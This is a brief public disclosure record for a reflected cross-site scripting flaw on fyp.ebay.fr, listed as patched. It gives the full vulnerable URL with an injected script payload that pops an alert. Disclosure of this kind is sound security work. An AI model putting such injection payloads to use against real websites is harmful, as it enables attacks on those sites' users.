fyp.ebay.fr XSS vulnerability

Vulnerable URL: https://fyp.ebay.fr/EnterUserInfo?=" /%3E%3C/script%3E%3Cscript%3Ealert'OPENBUGBOUNTY';%3C/script%3E%3Cscript%3E// Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP...